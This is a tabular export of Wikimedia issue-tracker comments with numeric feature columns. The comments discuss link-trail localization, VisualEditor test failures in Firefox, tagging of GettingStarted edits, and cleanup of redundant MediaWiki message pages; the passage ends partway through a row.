582696,The default (English) link trail ($linkTrail) only matches [a-z],This seems to be problem on all multilingual projects...,,,1450788845,,PHID-USER-l6fch4yy6jwf3du42zrz,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,129,,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,This seems to be problem on all multilingual projects...
226155,The default (English) link trail ($linkTrail) only matches [a-z],"It could also be that the content language is still English in some cases, but it doesn't seems so form the content source.",,,1361275352,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,1,False,,,-19,,4.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8846153846153846,0.9230769230769231,"It could also be that the content language is still English in some cases, but it doesn't seems so form the content source."
226148,The default (English) link trail ($linkTrail) only matches [a-z],This is link trails and it is part of the localization that would be very difficult to get right for everyone. In this case I would say put what you want to use for the page part into the link and do not depend on the link trails.,,,1361274313,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,1,False,,,-19,,0.0,2.0,2.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,16.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,6.0,6.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.66,0.74,This is link trails and it is part of the localization that would be very difficult to get right for everyone. In this case I would say put what you want to use for the page part into the link and do not depend on the link trails.
46808,VisualEditor: ce.ContentBranchNode tests fails in Firefox due to object key order,"This test works in Chrome, but in Firefox it fails with:

Expected: 	

""a<b>b<span typeof=\""mw:Entity\"" class=\""ve-ce-leafNode ve-ce-MWEntityNode\"" contenteditable=\""false\"">c</span>d<div class=\""ve-ce-leafNode ve-ce-alienNode ve-ce-alienInlineNode\"" contenteditable=\""false\""><tt>e</tt></div></b>""

Result: 	

""a<b>b<span class=\""ve-ce-leafNode ve-ce-MWEntityNode\"" typeof=\""mw:Entity\"" contenteditable=\""false\"">c</span>d<div class=\""ve-ce-leafNode ve-ce-alienNode ve-ce-alienInlineNode\"" contenteditable=\""false\""><tt>e</tt></div></b>""

(the difference is in the order of the class and typeof attributes)

We should probably implement DOM comparison instead of string comparison in the ce.ContentBranchNode test suite.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1360374780,1443111590.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-6hp73xqwptdzkhjkx2ki,task_description,resolved,True,c1,1,False,False,False,-21,,0.0,0.0,0.0,0.0,0.0,9.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,4.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,0.5,7.5,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,4.0,17.5,0.0,5.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,4.359849521203831,0.5151162790697674,"This test works in Chrome, but in Firefox it fails with:

Expected: 	

""a<b>b<span typeof=\""mw:Entity\"" class=\""ve-ce-leafNode ve-ce-MWEntityNode\"" contenteditable=\""false\"">c</span>d<div class=\""ve-ce-leafNode ve-ce-alienNode ve-ce-alienInlineNode\"" contenteditable=\""false\""><tt>e</tt></div></b>""

Result: 	

""a<b>b<span class=\""ve-ce-leafNode ve-ce-MWEntityNode\"" typeof=\""mw:Entity\"" contenteditable=\""false\"">c</span>d<div class=\""ve-ce-leafNode ve-ce-alienNode ve-ce-alienInlineNode\"" contenteditable=\""false\""><tt>e</tt></div></b>""

(the difference is in the order of the class and typeof attributes)

We should probably implement DOM comparison instead of string comparison in the ce.ContentBranchNode test suite.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
534362,VisualEditor: ce.ContentBranchNode tests fails in Firefox due to object key order,"Related: https://gerrit.wikimedia.org/r/#/c/240722/ in MW, where we need to decode data-mw and parse body.html, sometimes recursively :/",,,1443111671,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-6hp73xqwptdzkhjkx2ki,task_subcomment,,True,c1,3,True,,,116,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9047619047619047,0.9523809523809523,"Related: URL in MW, where we need to decode data-mw and parse body.html, sometimes recursively :/"
534361,VisualEditor: ce.ContentBranchNode tests fails in Firefox due to object key order,https://gerrit.wikimedia.org/r/#/c/240693/,,,1443111590,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-6hp73xqwptdzkhjkx2ki,task_subcomment,,True,c1,3,True,,,116,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
206979,VisualEditor: ce.ContentBranchNode tests fails in Firefox due to object key order,"This specific case is fixed in https://gerrit.wikimedia.org/r/#/c/57240 by using equalDomElement. However, another case has appeared: recent code introduced full HTML preservation in mw:Image and the attribute order in the HTML serialization matters there too, so now that test passes in Chrome but fails in Firefox (getDataFromDom test 4).",,,1365033745,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6hp73xqwptdzkhjkx2ki,task_subcomment,,True,c1,1,False,,,-13,,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,14.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.491228070175438,0.8070175438596491,"This specific case is fixed in URL by using equalDomElement. However, another case has appeared: recent code introduced full HTML preservation in mw:Image and the attribute order in the HTML serialization matters there too, so now that test passes in Chrome but fails in Firefox (getDataFromDom test 4)."
206976,VisualEditor: ce.ContentBranchNode tests fails in Firefox due to object key order,"Not sure if it is caused by the javasript object keys. May be related to how WebKit/Geck order the element attributes when serialising the html.

If the former:
 ve.getHash or assert.deepEqual

If the latter:
 assert.equalDomElement",,,1361569492,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6hp73xqwptdzkhjkx2ki,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,4.0,2.0,9.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,13.0,11.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,11.0,7.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.488888888888889,0.8,"Not sure if it is caused by the javasript object keys. May be related to how WebKit/Geck order the element attributes when serialising the html.

If the former:
 ve.getHash or assert.deepEqual

If the latter:
 assert.equalDomElement"
46364,VisualEditor: Clean up duplication of Mac/PC command/ctrl in all command registrars,"Should perhaps have some kind of magic alias ""trigger"" that maps to meta/ctrl respectively.

The flexibility of being able to bind something to ctrl on mac, and to meta on pc is useful but in the most common case we don't to do that.

And we're currently duplicating this internal logic at the cost of decentralisation. So plugin authors providing Tools need to duplicate this logic also, meaning more maintenance when we change this.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1359158880,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-fbrnpd67ntdl7dxrvivk,task_description,open,True,c1,1,True,False,,-23,,0.5,0.5,0.0,0.0,0.5,6.0,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,2.5,1.0,6.0,8.0,0.5,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,2.5,0.5,0.0,0.0,0.0,1.5,0.0,1.0,1.5,0.0,0.0,1.0,0.0,0.0,2.0,1.0,5.5,1.0,2.0,6.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.5,8.0,1.5,0.0,1.0,0.0,2.5,0.0,1.5,0.0,0.0,3.0,1.0,0.5,0.0,4.150943396226415,0.7452830188679245,"Should perhaps have some kind of magic alias ""trigger"" that maps to meta/ctrl respectively.

The flexibility of being able to bind something to ctrl on mac, and to meta on pc is useful but in the most common case we don't to do that.

And we're currently duplicating this internal logic at the cost of decentralisation. So plugin authors providing Tools need to duplicate this logic also, meaning more maintenance when we change this.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
46361,Only tag edits via GettingStarted if the user is actually new,"The GettingStarted extension is tagging edits of new users (bug 43191). These tags should be temporary.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1359154380,1369959989.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-o2degjsneil7pojmpiav,task_description,resolved,True,c1,1,False,False,True,-23,,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.342105263157895,0.7368421052631579,"The GettingStarted extension is tagging edits of new users (bug 43191). These tags should be temporary.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
205584,Only tag edits via GettingStarted if the user is actually new,"**swalling** wrote:

https://gerrit.wikimedia.org/r/#/c/65337/ was merged, and henceforth only users who aren't autoconfirmed will get their GettingStarted edits tagged.",,,1369959989,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2592592592592595,0.8888888888888888,"**swalling** wrote:

URL was merged, and henceforth only users who aren't autoconfirmed will get their GettingStarted edits tagged."
205577,Only tag edits via GettingStarted if the user is actually new,Related URL: https://gerrit.wikimedia.org/r/65337 (Gerrit Change I3bc2235ac9d5ae1060c86df03663dcb8a6966a38),,,1369431985,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I3bc2235ac9d5ae1060c86df03663dcb8a6966a38)
205569,Only tag edits via GettingStarted if the user is actually new,"(In reply to comment #4)
> It sounds like you have a general problem with permanent tags. 

It sounds like you didn't read comment 3.",,,1368574939,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,10.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9523809523809526,0.9523809523809523,"(In reply to comment #4)
QUOTE

It sounds like you didn't read comment 3."
205562,Only tag edits via GettingStarted if the user is actually new,"**swalling** wrote:

(In reply to comment #3)
> The general trend of permanently tagging edits should be examined. Other
> sites
> engage in similar practices (such as Facebook marking mobile posts), but
> whether this is a good thing or whether it should be encouraged is up for
> debate.
> 
> In this case, I don't think permanently marking someone's first edits after
> you've secretly tagged them as part of an experiment that they didn't opt in
> to
> is a good idea. Do other bad tags exist? Yes, but those aren't really
> relevant
> here.

It sounds like you have a general problem with permanent tags. 

I think our actual enhancement is to not tag edits of users who aren't new anymore if they make further edits via Special:GettingStarted, e.g. if you're autoconfirmed don't tag their edit, even if if comes via GettingStarted. That's an enhacement we should make, but it's not the same thing as altering MediaWiki tags so they're there one minute and gone the next. That's unexpected and broken behavior according to how tags currently work in all other cases. 

I've changed the bug title to reflect what we're actually going to do around tagging in GettingStarted, to ensure that the tag is accurate.",,,1368565460,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,False,,,-7,,0.5,0.0,0.0,0.0,2.0,6.0,1.5,0.0,0.0,2.0,2.5,3.0,0.0,0.0,0.0,2.5,0.0,6.0,12.0,0.0,2.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,9.0,1.5,1.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,1.0,0.0,0.5,0.0,0.0,0.5,10.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.5,0.5,3.5,1.5,12.0,4.0,1.5,5.0,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,6.5,12.0,8.0,0.0,0.0,0.0,6.5,0.0,1.5,1.0,0.0,2.5,0.0,0.0,0.0,3.8243861024033436,0.6860632183908046,"**swalling** wrote:

(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It sounds like you have a general problem with permanent tags. 

I think our actual enhancement is to not tag edits of users who aren't new anymore if they make further edits via Special:GettingStarted, e.g. if you're autoconfirmed don't tag their edit, even if if comes via GettingStarted. That's an enhacement we should make, but it's not the same thing as altering MediaWiki tags so they're there one minute and gone the next. That's unexpected and broken behavior according to how tags currently work in all other cases. 

I've changed the bug title to reflect what we're actually going to do around tagging in GettingStarted, to ensure that the tag is accurate."
205555,Only tag edits via GettingStarted if the user is actually new,"The general trend of permanently tagging edits should be examined. Other sites engage in similar practices (such as Facebook marking mobile posts), but whether this is a good thing or whether it should be encouraged is up for debate.

In this case, I don't think permanently marking someone's first edits after you've secretly tagged them as part of an experiment that they didn't opt in to is a good idea. Do other bad tags exist? Yes, but those aren't really relevant here.",,,1359156311,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,False,,,-23,,0.0,1.0,0.0,2.0,3.0,11.0,3.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,1.0,0.0,8.0,13.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,12.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,4.0,6.0,7.0,2.0,3.0,7.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,5.0,13.0,1.0,1.0,0.0,0.0,5.0,0.0,1.0,3.0,1.0,3.0,0.0,0.0,0.0,4.030612244897959,0.7755102040816326,"The general trend of permanently tagging edits should be examined. Other sites engage in similar practices (such as Facebook marking mobile posts), but whether this is a good thing or whether it should be encouraged is up for debate.

In this case, I don't think permanently marking someone's first edits after you've secretly tagged them as part of an experiment that they didn't opt in to is a good idea. Do other bad tags exist? Yes, but those aren't really relevant here."
205549,Only tag edits via GettingStarted if the user is actually new,This proposal is a specific case of https://bugzilla.wikimedia.org/show_bug.cgi?id=18670 .,,,1359155975,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,True,,,-23,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,This proposal is a specific case of URL .
205543,Only tag edits via GettingStarted if the user is actually new,"I'm not yet convinced this is a problem.  There are a variety of permanent tags (edit filter, VisualEditor, etc.).  In all cases, it's a good-faith tag of the edit.

Edit filter tags are permanent, even though they sometimes wrongly flag an edit as harmful.  It's just understood that the situation will be cleared up, and editors will move on.

Similarly, the fact that a user made a Special:GettingStarted edit doesn't even mean they're necessarily new.  It's understood and accepted that established users can also have this tag on their edits if they use the page.

It indicates how they made it.  It certainly is not a marker of whether the edit is productive.  And it doesn't really say anything about the user, let alone the user's future work.",,,1359155274,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,True,,,-23,,0.5,0.5,0.0,0.5,2.5,4.0,2.0,0.0,0.5,0.5,1.5,2.5,0.0,0.0,0.5,0.5,0.0,9.5,8.0,0.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.5,1.0,0.0,8.5,3.5,4.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,3.0,0.0,0.5,0.0,1.0,0.5,0.0,0.5,13.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,2.0,0.0,0.0,0.5,7.5,3.0,7.0,4.0,1.5,9.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,7.5,8.0,2.0,0.0,0.0,0.0,7.5,0.0,0.5,4.0,0.0,0.0,0.0,0.0,1.0,3.7109943977591033,0.6982492997198879,"I'm not yet convinced this is a problem.  There are a variety of permanent tags (edit filter, VisualEditor, etc.).  In all cases, it's a good-faith tag of the edit.

Edit filter tags are permanent, even though they sometimes wrongly flag an edit as harmful.  It's just understood that the situation will be cleared up, and editors will move on.

Similarly, the fact that a user made a Special:GettingStarted edit doesn't even mean they're necessarily new.  It's understood and accepted that established users can also have this tag on their edits if they use the page.

It indicates how they made it.  It certainly is not a marker of whether the edit is productive.  And it doesn't really say anything about the user, let alone the user's future work."
45917,"Delete all redundant ""MediaWiki"" pages for system messages","I encountered many times now on wikis (usually the small wikis) that there are 100s of local MediaWiki pages with translations from before translatewiki.net covered that language.

And even after twn covered it, there may have been local improvements that over time make it into twn, but then the local page stales.

To avoid translations from going out of sync (the longer we wait with this, the harder it is to clean them up as the difference between an override and an outdated translation becomes harder to tell), and also to avoid migration issues when messages change.

Lets run this asap.

--------------------------
//EDIT//: deleteEqualMessages.php has been completed on the following wikis:
{P1988}",Low,25.0,1358039640,1488864149.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-odpakiqqpzglf5pzvu3o,task_description,resolved,True,c1,1,True,True,False,-25,,0.5,0.0,0.0,0.5,0.0,4.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,4.0,12.5,0.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,3.0,0.0,0.0,0.0,0.0,0.0,8.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.5,2.5,3.5,1.0,2.5,7.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,4.0,12.5,5.0,0.0,0.0,0.0,4.0,0.0,1.0,1.5,0.5,1.0,1.5,0.0,0.0,4.5,0.7761194029850746,"I encountered many times now on wikis (usually the small wikis) that there are 100s of local MediaWiki pages with translations from before translatewiki.net covered that language.

And even after twn covered it, there may have been local improvements that over time make it into twn, but then the local page stales.

To avoid translations from going out of sync (the longer we wait with this, the harder it is to clean them up as the difference between an override and an outdated translation becomes harder to tell), and also to avoid migration issues when messages change.

Lets run this asap.

--------------------------
//EDIT//: deleteEqualMessages.php has been completed on the following wikis:
{P1988}"
1105996,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWSrzRPvwY2u4JUTPlju} [2018-07-18T05:11:41Z] <Krinkle> mwscript deleteEqualMessages.php --wiki dewiki (1 page) - T45917",,,1531890702,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,263,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.731707317073171,0.8048780487804879,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2018-07-18T05:11:41Z] <Krinkle> mwscript deleteEqualMessages.php --wiki dewiki (1 page) - T45917"
1105995,"Delete all redundant ""MediaWiki"" pages for system messages","{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWSrzN-hwY2u4JUTPljt} [2018-07-18T05:11:27Z] <Krinkle> mwscript deleteEqualMessages.php --wiki ruwiki (4 pages) - T45917",,,1531890688,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,263,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.7560975609756095,0.8048780487804879,"{nav 